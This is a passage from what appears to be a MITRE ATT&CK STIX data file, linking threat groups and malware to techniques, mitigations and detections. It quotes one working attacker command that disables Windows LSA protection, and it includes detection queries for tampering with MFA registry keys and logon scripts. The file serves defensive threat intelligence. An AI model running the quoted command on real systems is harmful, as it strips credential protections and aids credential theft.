GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e62777a8-ad93-4e5a-bb69-ccc708118e5e","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:23:17.390Z","description":"Monitor for changes to windows registry keys or values that may target multi-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources.\n\nAnalytic 1 - Unauthorized registry changes related to MFA settings.\n\n index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=13 | where match(RegistryKeyPath, \"(?i)(MFA|2FA|MultiFactorAuth|SmartCard|Token|SecureID|OTP|OneTimePasscode)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6289aac-7035-465c-acc3-ad6963509ad4","type":"relationship","created":"2021-12-06T23:27:09.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:27:09.994Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e631d85f-e93c-475f-bd40-546544c99e90","created":"2020-03-09T13:48:55.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft PS JEA","description":"Microsoft. (2022, November 17). Just Enough Administration. Retrieved March 27, 2023.","url":"https://learn.microsoft.com/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.3"},{"source_name":"Netspi PowerShell Execution Policy Bypass","description":"Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved September 12, 2024.","url":"https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:41:34.771Z","description":"When PowerShell is necessary, consider restricting PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.(Citation: Netspi PowerShell Execution Policy Bypass)\n\nPowerShell JEA (Just Enough Administration) may also be used to sandbox administration and limit what commands admins/users can execute through remote PowerShell sessions.(Citation: Microsoft PS JEA)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e643eb2e-c309-48dc-b105-ffedb4a61247","type":"relationship","created":"2020-02-21T17:07:54.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T20:35:42.598Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e64490db-a63d-449c-b67b-758e80d64dca","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e64a09d0-4205-4aca-8acb-f6926233d107","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.568Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e650e1d9-0ba3-47d1-a8c2-3cbb65954fbb","created":"2023-03-17T18:25:22.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Defend UNC2452 White Paper","description":"Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.","url":"https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T15:44:09.181Z","description":"Monitor for changes to account settings associated with users/tenants that may impact defensive logging capabilities, such as the `Update User` and `Change User License` events in the Azure AD audit log.(Citation: Mandiant Defend UNC2452 White Paper)","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Domain Fronting","description":"Dunwoody, M. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved March 27, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html"},{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.319Z","description":"[APT29](https://attack.mitre.org/groups/G0016) used sticky-keys to obtain unauthenticated, privileged console access.(Citation: Mandiant No Easy Breach)(Citation: FireEye APT29 Domain Fronting)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6553c0d-9f67-412a-8e72-fad7059c35b1","type":"relationship","created":"2022-03-24T19:39:24.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T19:39:24.686Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692)'s `credphisher.py` module can prompt a current user for their credentials.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e65ad45a-4862-4455-8d3c-454eb78deaeb","type":"relationship","created":"2020-01-19T16:54:28.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:08:24.108Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e65b247d-3d19-43d9-b26c-f1a068040d68","created":"2022-05-25T19:50:36.689Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has disabled LSA protection on compromised hosts using `\"reg\" add HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /t REG_DWORD /d 0 /f`.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-06-03T16:47:06.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e66427b2-f353-446a-aedf-decccb926172","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.646Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used an audio capturing utility known as SOUNDWAVE that captures microphone input.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e66503db-f92a-4795-a350-732a2f92b2cd","created":"2024-09-21T07:22:27.426Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-21T07:22:27.426Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can use `ping` to identify remote hosts within the victim network.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e665a033-2893-43f5-ab5f-ba4c91636aba","created":"2020-12-29T16:20:58.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:16:19.398Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) infects remote servers via network shares and by infecting WinCC database views with malicious code.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6767ba4-3cb7-4819-b8c8-d72dcab05858","type":"relationship","created":"2020-10-20T15:52:49.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:14:01.359Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e67b24ac-2cb8-4063-a5a9-789f4d0f356a","created":"2024-03-07T19:45:05.978Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T19:45:05.978Z","description":"Monitor processes and command-line parameters for binaries associated with Electron apps that may be used to proxy execution of malicious content. Compare recent invocations of these binaries with prior history of known good arguments to determine anomalous and potentially adversarial activity.\n\nCorrelate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e67bb9cd-a76c-4666-a3e5-1e466dceb22b","created":"2022-01-11T14:58:01.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.934Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has used an icon mimicking a text file to mask a malicious executable.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e67e4cbe-e8f6-433b-a1d2-e869c35f6a52","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:50:53.349Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) can capture screenshots of the desktop over multiple monitors.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6867d44-3d34-4604-b5e8-35e325051f1e","type":"relationship","created":"2020-02-21T21:07:55.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:07:55.499Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e68684df-28b4-4f06-b553-cacf14866605","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.650Z","description":"[ChChes](https://attack.mitre.org/software/S0144) copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6884060-8245-46ff-b71f-025c6a82eb3f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-16T17:10:02.084Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) captures keystrokes.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e68ff1c2-ef03-486b-96df-167a1652a97b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-20T18:11:48.340Z","description":"For C2 over HTTP, [Helminth](https://attack.mitre.org/software/S0170) encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, [Helminth](https://attack.mitre.org/software/S0170) converts ASCII characters into their hexadecimal values and sends the data in cleartext.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6965732-e5a0-4d13-8c50-efb8236e483d","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T18:08:14.115Z","description":"Monitor for newly constructed processes and/or command-lines that execute logon scripts\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND CommandLine=\"*reg*add*\\Environment*UserInitMprLogonScript\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e6997505-11ce-4ac3-ba26-b14f943b8a99","created":"2022-06-01T21:13:39.136Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has used scheduled tasks for persistence and execution.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-01T21:13:39.136Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e69ac347-8b74-4fcc-8b13-17d7a1b04339","type":"relationship","created":"2021-03-02T13:57:47.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."},{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:13:49.115Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) has gained execution through victims opening malicious files.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e69dfb2f-c89b-4167-9165-4f3026b32ad7","type":"relationship","created":"2021-06-04T13:40:50.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-04T13:40:50.358Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can enumerate logical drives on a target system.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6a1906d-43d1-454c-8150-053759421b74","created":"2022-09-22T21:26:39.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:52:43.022Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), attackers used a signed kernel rootkit to establish additional persistence.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6a21902-3d34-444c-a528-f86b764375e9","type":"relationship","created":"2022-03-24T21:39:40.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T21:39:40.366Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) has a keylogging capability.(Citation: GitHub SILENTTRINITY Modules July 